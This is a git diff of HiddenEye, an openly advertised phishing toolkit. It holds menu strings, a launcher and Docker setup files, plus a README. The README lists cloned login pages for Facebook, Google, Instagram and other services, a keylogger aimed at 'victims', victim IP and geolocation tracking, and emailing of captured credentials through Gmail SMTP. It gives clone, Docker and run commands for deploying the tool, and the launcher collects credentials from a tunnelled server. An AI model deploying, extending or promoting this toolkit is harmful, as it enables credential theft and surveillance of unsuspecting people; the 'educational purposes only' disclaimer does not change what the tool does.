DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
"""),
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
feature_prompt = {
|
||||
"feature_alert": _("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format(default_palette[0], default_palette[4])),
|
||||
"keylogger": _("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])),
|
||||
"cloudfare":_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])),
|
||||
"email":_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])),
|
||||
"none":_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])),
|
||||
"example":_("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}".format(default_palette[0], default_palette[2])),
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
hidden_eye_logo = """
|
||||
{1} ██ ██ ██ ██████ ██████ ███████ ███ ██ {2}███████ ██ ██ ███████ {0}
|
||||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {2}██ ██ ██ ██ {0}
|
||||
{1} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {2}███████ ████ ███████ {0}
|
||||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0}
|
||||
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(
|
||||
default_palette[4], default_palette[2], default_palette[0])
|
||||
|
||||
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0],
|
||||
default_palette[2])
|
||||
official_website_link = "{0}https://dark-sec-official.com".format(
|
||||
default_palette[0])
|
||||
by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
|
||||
line_of_dots = "{0}...............................".format(default_palette[0])
|
||||
small_logo = """{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||
default_palette[2])
|
||||
invalid_option = "Please choose a valid option."
|
|
@ -0,0 +1,9 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
#Contains all HiddenEye.py strings
|
|
@ -0,0 +1,13 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import gettext
|
||||
|
||||
gettext.bindtextdomain("HiddenEye", "locale")
|
||||
gettext.textdomain("HiddenEye")
|
||||
_ = gettext.gettext
|
||||
|
||||
# FIXME deprecated file, will be removed
|
|
@ -1,3 +0,0 @@
|
|||
gmail_account = "GMAILACCOUNT"
|
||||
gmail_password = "GMAILPASSWORD"
|
||||
recipient_email = "RECIPIENTEMAIL"
|
|
@ -0,0 +1,14 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
default_palette = [
|
||||
"\033[91m",
|
||||
"\033[46m",
|
||||
"\033[36m",
|
||||
"\033[1;32m",
|
||||
"\033[0m",
|
||||
] # TODO Will be replaced later,
|
|
@ -1,35 +0,0 @@
|
|||
# Themes Manager
|
||||
import sys
|
||||
from Defs.Configurations import readConfig, ifSettingsNotExists
|
||||
|
||||
color = [0, 0, 0, 0, 0]
|
||||
config = readConfig()
|
||||
|
||||
|
||||
def colorSelector():
|
||||
ifSettingsNotExists()
|
||||
for arg in sys.argv:
|
||||
if arg in ['--theme']:
|
||||
for arg in sys.argv:
|
||||
if arg in ['anaglyph', '3danaglyph', '3Danaglyph', '3DAnaglyph']:
|
||||
# LightRed, BackgroundCyan, Cyan, Green, ResetAll
|
||||
color = ['\033[91m', '\033[46m',
|
||||
'\033[36m', '\033[32m', '\033[0m']
|
||||
if arg in ['--default']:
|
||||
config.set("Defaults", "theme", "anaglyph")
|
||||
return color
|
||||
if arg in ['ocean', 'breeze', 'blue']:
|
||||
# Cyan, BackgroundCyan, BrightBlue, DarkGray, ResetAll
|
||||
color = ['\033[36m', '\033[46m',
|
||||
'\033[34m', '\033[30m', '\033[0m']
|
||||
if arg in ['--default']:
|
||||
config.set("Defaults", "theme", "ocean")
|
||||
return color
|
||||
if config.get("Defaults", "theme") == "anaglyph":
|
||||
color = ['\033[91m', '\033[46m', '\033[36m', '\033[32m',
|
||||
'\033[0m'] # LightRed, BackgroundCyan, Cyan, Green, ResetAll
|
||||
return color
|
||||
elif config.get("Defaults", "theme") == "ocean":
|
||||
# Cyan, BackgroundCyan, BrightBlue, DarkGray, ResetAll
|
||||
color = ['\033[36m', '\033[46m', '\033[34m', '\033[30m', '\033[0m']
|
||||
return color
|
|
@ -0,0 +1,2 @@
|
|||
---
|
||||
enabled: false
|
|
@ -0,0 +1,78 @@
|
|||
# Run HiddenEye in Docker Compose
|
||||
|
||||
![docker](https://img.shields.io/badge/Docker-v19.03.12-blue?style=plastic&logo=docker)
|
||||
![dockercompose](https://img.shields.io/badge/Docker_Compose-v1.25.4-orange?style=plastic&logo=docker)
|
||||
![Maintainer](https://img.shields.io/badge/Maintainer-Equinockx-success?style=plastic&logo=terraform)
|
||||
|
||||
|
||||
## Runnin within container
|
||||
|
||||
![running](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/start.png)
|
||||
![link](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/URL.png)
|
||||
|
||||
## Requeriments
|
||||
|
||||
- [X] Docker
|
||||
- [X] docker-compose
|
||||
|
||||
## Usage Mode
|
||||
|
||||
Clone the repo from Github
|
||||
```bash
|
||||
git clone https://github.com/DarkSecDevelopers/HiddenEye
|
||||
cd HiddenEye/Docker
|
||||
```
|
||||
|
||||
Run docker-compose
|
||||
|
||||
```bash
|
||||
docker-compose up --build -d
|
||||
```
|
||||
'_Don not need redirection of ports 'cause the container is exposed to internet_' <br>
|
||||
Verify of the container is running with:
|
||||
|
||||
```bash
|
||||
docker-compose ps
|
||||
```
|
||||
![ps](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/ps.png)
|
||||
|
||||
Executing HiddenEye inside of container
|
||||
|
||||
```bash
|
||||
docker-compose exec hidden python3 HiddenEye.py
|
||||
```
|
||||
![exec](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/executing.png)
|
||||
|
||||
## Persist Data
|
||||
|
||||
When we make or buils the service with `docker-compose up --build -d` this persist the data templates in the same folder `WebTemplate`.
|
||||
If you add the new Template in `WbeTemplate` this will be reflected in the container and you can use it.
|
||||
|
||||
To add WebTemplate you juste need add them in this folder and done
|
||||
- [X] `equinockx~/Webtemplate$ cp * Docker/Webtemplate`
|
||||
- [X] WebTemplate
|
||||
|
||||
## First Start the services
|
||||
|
||||
```bash
|
||||
docker-compose up --build -d
|
||||
```
|
||||
## Down the container
|
||||
```bash
|
||||
docker-compose down
|
||||
```
|
||||
## Stop the services
|
||||
|
||||
```bash
|
||||
docker-compose stop
|
||||
```
|
||||
## Start the services
|
||||
|
||||
With this command docker-compose will initialize the service stopped
|
||||
|
||||
```bash
|
||||
docker-compose start
|
||||
```
|
||||
|
||||
|
||||
|
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 21 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 28 KiB |
|
@ -0,0 +1,15 @@
|
|||
FROM debian:10
|
||||
LABEL MAINTAINER="Equinockx moisestapia741@gmail.com"
|
||||
|
||||
WORKDIR /home/
|
||||
|
||||
COPY . /home/
|
||||
|
||||
RUN apt-get update -y --no-install-recommends && \
|
||||
apt-get install -y --no-install-recommends python3.7 && \
|
||||
apt-get install -y python3-pip && \
|
||||
apt-get install --no-install-recommends -y php && \
|
||||
apt-get clean && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN pip3 install -r requirements.txt
|
77
HiddenEye.py
|
@ -1,56 +1,55 @@
|
|||
#!/usr/bin/python3
|
||||
#
|
||||
# HiddenEye by https://github.com/DarkSecDevelopers
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
from Defs.Languages import *
|
||||
from Defs.Actions import *
|
||||
from Defs.Configurations import *
|
||||
from Defs.Checks import *
|
||||
import multiprocessing
|
||||
import gettext
|
||||
import sys
|
||||
import ssl
|
||||
from os import system, environ
|
||||
from os import environ
|
||||
|
||||
if(not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None)):
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
import Defs.ActionManager.main_runner as main_runner
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.FeatureManager.feature_prompt as prompt
|
||||
from controllers.EULA_controller import EULAController
|
||||
from controllers.connection_controller import ConnectionController
|
||||
if EULAController().check_eula_existence() is False:
|
||||
EULAController().generate_new_eula()
|
||||
if EULAController().check_eula_confirmation() is False:
|
||||
EULAController().confirm_eula()
|
||||
|
||||
# if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
|
||||
# ssl, "_create_unverified_context", None):
|
||||
# ssl._create_default_https_context = ssl._create_unverified_context
|
||||
|
||||
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
||||
checkPermissions()
|
||||
installGetText()
|
||||
languageSelector()
|
||||
checkConnection()
|
||||
checkLocalxpose()
|
||||
checkNgrok()
|
||||
checkOpenport()
|
||||
checkPagekite()
|
||||
checkbinaryLT()
|
||||
checkLT()
|
||||
ifSettingsNotExists()
|
||||
readConfig()
|
||||
# simple_informant.check_permissions()
|
||||
# verCheck() # For now it's useless, i'll rewrite it later, after release.
|
||||
|
||||
########### simple_informant.check_php() # FIXME we have to replace PHP with Python
|
||||
# checkLocalxpose()
|
||||
ConnectionController().verify_connection()
|
||||
# checkOpenport()
|
||||
# checkPagekite()
|
||||
# checkLT()
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
runMainMenu()
|
||||
mainMenu()
|
||||
|
||||
keyloggerprompt()
|
||||
addingkeylogger()
|
||||
cloudfarePrompt()
|
||||
emailPrompt()
|
||||
inputCustom()
|
||||
port = selectPort()
|
||||
main_runner.start_main_menu()
|
||||
prompt.feature_prompt()
|
||||
main_runner.enter_custom_redirecting_url()
|
||||
port = simple_informant.port_selector()
|
||||
|
||||
##############
|
||||
runServer(port)
|
||||
selectServer(port)
|
||||
server_runner.start_server(port)
|
||||
server_runner.server_selection(port)
|
||||
|
||||
multiprocessing.Process(target=runServer, args=(port,)).start()
|
||||
getCredentials(port)
|
||||
multiprocessing.Process(target=server_runner.start_server,
|
||||
args=(port, )).start()
|
||||
simple_informant.credentials_collector()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
emailPrompt3(port)
|
||||
# When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors)
|
||||
port = "8080"
|
||||
simple_informant.exit_message(port)
|
||||
exit()
|
||||
|
|
326
README.md
|
@ -1,285 +1,209 @@
|
|||
[![BuiltWithLove](https://forthebadge.com/images/badges/built-with-love.svg)]()
|
||||
# DUE TO BAD CODE AND HUGE AMOUNT OF ISSUES THIS VERSION OF HIDDEN EYE IS NOT GOING TO BE MAINTAINED ANYMORE! NEW VERSION OF HIDDENEYE IS GOING TO BE HERE:
|
||||
# https://github.com/Open-Security-Group-OSG/HiddenEyeReborn
|
||||
|
||||
|
||||
|
||||
<p align="right">
|
||||
English description | <a href="README_RU.md">Описание на русском</a>
|
||||
</p>
|
||||
<p align="left">
|
||||
<a><img title="Built With Love" src="https://forthebadge.com/images/badges/built-with-love.svg" ></a>
|
||||
</p>
|
||||
<p align="center">
|
||||
<img src="logo.png">
|
||||
<img src="logo.png">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
Modern Phishing Tool With Advanced Functionality
|
||||
Modern Phishing Tool With Advanced Functionality
|
||||
</p>
|
||||
<p align="center">
|
||||
PHISHING | KEYLOGGER | INFORMATION_COLLECTOR | ALL_IN_ONE_TOOL | SOCIALENGINEERING
|
||||
PHISHING | KEYLOGGER | INFORMATION_COLLECTOR | ALL_IN_ONE_TOOL | SOCIALENGINEERING
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/darksecdevelopers"><img title="Open Source Love" src="https://badges.frapsoft.com/os/v3/open-source.svg?v=102" ></a>
|
||||
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=0.5.2&x2=0" ></a>
|
||||
<a href="https://www.codetriage.com/darksecdevelopers/hiddeneye"><img title="Open Source Helpers" src="https://www.codetriage.com/darksecdevelopers/hiddeneye/badges/users.svg" ></a>
|
||||
<a href="https://github.com/darksecdevelopers"><img title="Open Source Love" src="https://badges.frapsoft.com/os/v2/open-source.png?v=103" ></a>
|
||||
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=1.0.0&x2=0" ></a>
|
||||
<a href="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye"><img src="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye/badge" alt="CodeFactor" /></a>
|
||||
<a href="https://www.codacy.com/manual/DarkSecDevelopers/HiddenEye?utm_source=github.com&utm_medium=referral&utm_content=DarkSecDevelopers/HiddenEye&utm_campaign=Badge_Grade"><img src="https://api.codacy.com/project/badge/Grade/af9fadca3cfc4de19232d0840988e121"/></a>
|
||||
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
|
||||
<a href="https://www.python.org/dev/peps/pep-0008/"><img title="PEP8" src="https://img.shields.io/badge/code%20style-pep8-orange.svg"></a>
|
||||
</p>
|
||||
|
||||
## DISCLAIMER
|
||||
|
||||
<p align="center">
|
||||
TO BE USED FOR EDUCATIONAL PURPOSES ONLY
|
||||
</p>
|
||||
|
||||
The use of the HiddenEye & its resources/phishing-pages is **COMPLETE
|
||||
RESPONSIBILITY of the END-USER**. Developers assume NO liability and are NOT
|
||||
responsible for any misuse or damage caused by this program. Also we inform you
|
||||
that some of your your actions may be **ILLEGAL** and you **CAN NOT** use this
|
||||
software to test person or company without **WRITTEN PERMISSION** from them.
|
||||
|
||||
# DEVELOPERS & CONTRIBUTORS
|
||||
|
||||
1) ANONUD4Y (https://github.com/An0nUD4Y)
|
||||
2) USAMA ABDUL SATTAR (https://github.com/usama7628674)
|
||||
3) sTiKyt (https://github.com/sTiKyt)
|
||||
4) UNDEADSEC (https://github.com/UndeadSec)
|
||||
5) Micrafast (https://github.com/Micrafast)
|
||||
6) Moltivie (https://github.com/Moltivie)
|
||||
7) endbehavi0r (https://github.com/endbehavi0r)
|
||||
8) ___________ (WAITING FOR YOU)
|
||||
1. ANONUD4Y (https://github.com/An0nUD4Y)
|
||||
2. USAMA ABDUL SATTAR (https://github.com/usama7628674)
|
||||
3. sTiKyt (https://github.com/sTiKyt)
|
||||
4. UNDEADSEC (https://github.com/UndeadSec)
|
||||
5. Micrafast (https://github.com/Micrafast)
|
||||
6. Moltivie (https://github.com/Moltivie)
|
||||
7. endbehavi0r (https://github.com/endbehavi0r)
|
||||
8. DarkMidus (https://github.com/DarkMidus)
|
||||
9. ****\_\_\_**** (WAITING FOR YOU)
|
||||
|
||||
# AVAILABLE TUNNELLING OPTIONS**
|
||||
0) LOCALHOST
|
||||
1) LOCALXPOSE (https://localxpose.io)
|
||||
2) SERVEO (https://serveo.net/)
|
||||
3) NGROK (https://ngrok.com/)
|
||||
4) LOCALTUNNEL (Package Version) (https://localtunnel.me)
|
||||
5) LOCALTUNNEL (Binary Version) (https://www.wa4e.com/downloads/)
|
||||
6) OPENPORT (https://openport.io/)
|
||||
7) PAGEKITE (https://pagekite.net/)
|
||||
# AVAILABLE TUNNELLING OPTIONS
|
||||
|
||||
0. LOCALHOST
|
||||
1. LOCALXPOSE (https://localxpose.io)
|
||||
2. SERVEO (https://serveo.net/)
|
||||
3. NGROK (https://ngrok.com/)
|
||||
4. LOCALTUNNEL (Package Version) (https://localtunnel.me)
|
||||
5. OPENPORT (https://openport.io/)
|
||||
6. PAGEKITE (https://pagekite.net/)
|
||||
|
||||
# SCREENSHOT (Android-Userland)
|
||||
|
||||
![Shot](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/Screenshot.png)
|
||||
|
||||
|
||||
## CREDIT:-
|
||||
* Anonud4y ( I don't remember if i have done Anything )
|
||||
* Usama ( A Most active Developer)
|
||||
* sTiKyt ( Guy Who recustomized everything )
|
||||
* UNDEADSEC (For His wonderful repo socialfish which motivated us a lot)
|
||||
* TheLinuxChoice ( For His Tools Phishing Pages )
|
||||
|
||||
- Anonud4y ( I don't remember if i have done Anything )
|
||||
- Usama ( A Most active Developer)
|
||||
- sTiKyt ( Guy Who recustomized everything )
|
||||
- UNDEADSEC (For their wonderful repo socialfish which motivated us a lot)
|
||||
- TheLinuxChoice ( For His Tools Phishing Pages )
|
||||
- Thewhiteh4t (For Nearyou & Gdrive Location Templates)
|
||||
|
||||
### TESTED ON FOLLOWING:-
|
||||
* **Kali Linux - Rolling Edition**
|
||||
* **Parrot OS - Rolling Edition**
|
||||
* **Linux Mint - 18.3 Sylvia**
|
||||
* **Ubuntu - 16.04.3 LTS**
|
||||
* **MacOS High Sierra**
|
||||
* **Arch Linux**
|
||||
* **Manjaro XFCE Edition 17.1.12**
|
||||
* **Black Arch**
|
||||
* **Userland App (For Android Users)**
|
||||
* **Termux App (For Android Users)**
|
||||
|
||||
- **Kali Linux - Rolling Edition**
|
||||
- **Parrot OS - Rolling Edition**
|
||||
- **Linux Mint - 18.3 Sylvia**
|
||||
- **Ubuntu - 16.04.3 LTS**
|
||||
- **MacOS High Sierra**
|
||||
- **Arch Linux**
|
||||
- **Manjaro XFCE Edition 17.1.12**
|
||||
- **Black Arch**
|
||||
- **Userland App (For Android Users)**
|
||||
- **Termux App (For Android Users)**
|
||||
|
||||
### PREREQUISITES ( Please verify if you have installed )
|
||||
* Python 3
|
||||
* PHP
|
||||
* sudo
|
||||
|
||||
- Python 3.\*
|
||||
- PHP
|
||||
- sudo
|
||||
- pyngrok
|
||||
|
||||
# FOUND A BUG ? / HAVE ANY ISSUE ? :- (Read This)
|
||||
* Check closed & solved issues/bugs before opening new.
|
||||
* Make sure your issue is related to the codes and resources of this repository.
|
||||
* Its your responsibility to response on your opened issues.
|
||||
* If we don't found user response on his/her issue in the particular time interval , Then we have to close that issue.
|
||||
* Do Not Spam or Advertise & Respect Everyone.
|
||||
|
||||
- Check closed & solved issues/bugs before opening new.
|
||||
- Make sure your issue is related to the codes and resources of this repository.
|
||||
- Its your responsibility to response on your opened issues.
|
||||
- If we don't found user response on his/her issue in the particular time
|
||||
interval , Then we have to close that issue.
|
||||
- Do Not Spam or Advertise & Respect Everyone.
|
||||
|
||||
### WHAT'S NEW FEATURES
|
||||
|
||||
**1) LIVE ATTACK**
|
||||
- Now you will have live information about the victims such as : IP ADDRESS, Geolocation, ISP, Country, & many more.
|
||||
|
||||
- Now you will have live information about the victims such as : IP ADDRESS,
|
||||
Geolocation, ISP, Country, & many more.
|
||||
|
||||
**2) COMPATIBILITY**
|
||||
|
||||
- All the sites are mobile compatible.
|
||||
|
||||
**3) KEYLOGGER**
|
||||
|
||||
- Now you will also have the ability to capture all the keystokes of victim.
|
||||
- You can now Deploy Keyloggers With (Y/N) option.
|
||||
- Major issues fixed.
|
||||
|
||||
**4) ANDROID SUPPORT**
|
||||
- We care about Android Users, So now we have came with two ways to run HiddenEye in Android Devices.
|
||||
|
||||
- We care about Android Users, So now we have came with two ways to run
|
||||
HiddenEye in Android Devices.
|
||||
|
||||
**(A) UserLand App**
|
||||
- You Have to Download UserLand App. [Click Here](https://play.google.com/store/apps/details?id=tech.ula) To Download it.
|
||||
- To read more how to set up userland app Read <a href="https://null-byte.wonderhowto.com/how-to/android-for-hackers-turn-android-phone-into-hacking-device-without-root-0189649/">HERE</a></p>
|
||||
|
||||
- You Have to Download UserLand App.
|
||||
[Click Here](https://play.google.com/store/apps/details?id=tech.ula) To
|
||||
Download it.
|
||||
- To read more how to set up userland app Read
|
||||
<a href="https://null-byte.wonderhowto.com/how-to/android-for-hackers-turn-android-phone-into-hacking-device-without-root-0189649/">HERE</a></p>
|
||||
|
||||
**(B) Termux App**
|
||||
- You Have to Download Termux App. [Click Here](https://play.google.com/store/apps/details?id=com.termux) To Download it.
|
||||
- For Further instruction [Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md)
|
||||
- Termux Users Clone With This Command , Unless Errors may occur during Running.
|
||||
|
||||
- You Have to Download Termux App.
|
||||
[Click Here](https://play.google.com/store/apps/details?id=com.termux) To
|
||||
Download it.
|
||||
- For Further instruction
|
||||
[Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
|
||||
- Termux Users Clone With This Command , Unless Errors may occur during Running.
|
||||
|
||||
```
|
||||
git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git
|
||||
|
||||
```
|
||||
|
||||
**5) NEW LOOK PROVIDED**
|
||||
|
||||
- NOW FOCUS EASILY ON TASKS...
|
||||
- CUSTOMIZE APP WITH YOUR OWN THEMES
|
||||
|
||||
**6) SERVEO URL TYPE SELECTION AVAILABLE NOW**
|
||||
|
||||
- Major issues with serveo is fixed.
|
||||
- Now You can choose out of CUSTOM URL and RANDOM URL.
|
||||
|
||||
**7) LARGE COLLECTION OF PHISHING PAGES ADDED**
|
||||
- Pages are taken from various tool including ShellPhish , Blackeye , SocialFish .
|
||||
|
||||
- Pages are taken from various tool including ShellPhish , Blackeye , SocialFish
|
||||
.
|
||||
|
||||
**8) CAPTURED DATA BACKUP**
|
||||
|
||||
- Backup of Data can be Found At (Server/CapturedData).
|
||||
|
||||
**9) EMAIL SUPPORT ADDED**
|
||||
|
||||
- Captured Data can be Easily send to Any Email Address (Using Gmail SMTP).
|
||||
- It Require User's Gmail Username And Password.
|
||||
- GMAIL 2FA SHOULD BE DISABLED IN ORDER TO USE GMAIL SMTP.
|
||||
- LESS SECURED APPS SHOULD BE TURNED ON (https://myaccount.google.com/lesssecureapps).
|
||||
- LESS SECURED APPS SHOULD BE TURNED ON
|
||||
(https://myaccount.google.com/lesssecureapps).
|
||||
|
||||
**10) CUSTOM TEMPLATES ADDED**
|
||||
|
||||
- Two Extra Custom Templates Added.
|
||||
- Now Create Your Templates.
|
||||
- Check Instructions At ( Webpages/CUSTOM/manual.txt )
|
||||
|
||||
## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md)
|
||||
**11) TOOLS ADDED**
|
||||
|
||||
## AVAILABLE PAGES
|
||||
**A) LOCATION (Accurately Locate Smartphones using Social Engineering) (Thanks
|
||||
To https://github.com/thewhiteh4t/seeker)**
|
||||
|
||||
**1) Facebook:**
|
||||
- Traditional Facebook login page.
|
||||
- Advanced Poll Method.
|
||||
- Fake Security login with Facebook Page.
|
||||
- Facebook messenger login page.
|
||||
- NEAR YOU (By @thewhiteh4t )
|
||||
- GDRIVE (By @thewhiteh4t)
|
||||
|
||||
**2) Google:**
|
||||
- Traditional Google login page.
|
||||
- Advanced Poll Method.
|
||||
- New Google Page.
|
||||
## [Check This](https://youtu.be/InSdtLhZzk4) Demonstration video to know How (Location) Social-Engineering-Tool Works.
|
||||
|
||||
**3) LinkedIn:**
|
||||
- Traditional LinkedIn login page.
|
||||
## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
|
||||
|
||||
**4) Github:**
|
||||
- Traditional Github login page.
|
||||
## BACKUP REPOSITORY AVAILABLE AT GITLAB - [(CHECK HERE)](https://gitlab.com/an0nud4y/HiddenEye)
|
||||
|
||||
**5) Stackoverflow:**
|
||||
- Traditional Stackoverflow login page.
|
||||
|
||||
**6) Wordpress:**
|
||||
- Similar Wordpress login page.
|
||||
|
||||
**7) Twitter:**
|
||||
- Traditional Twitter login page.
|
||||
|
||||
**8) Instagram:**
|
||||
- Traditional Instagram login page.
|
||||
- Instagram Autoliker Phishing Page.
|
||||
- Instagram Profile Scenario Advanced attack.
|
||||
- Instagram Badge Verify Attack *[New]*
|
||||
- Instagram AutoFollower Phishing Page by (https://github.com/thelinuxchoice)
|
||||
|
||||
**9) SNAPCHAT PHISHING:**
|
||||
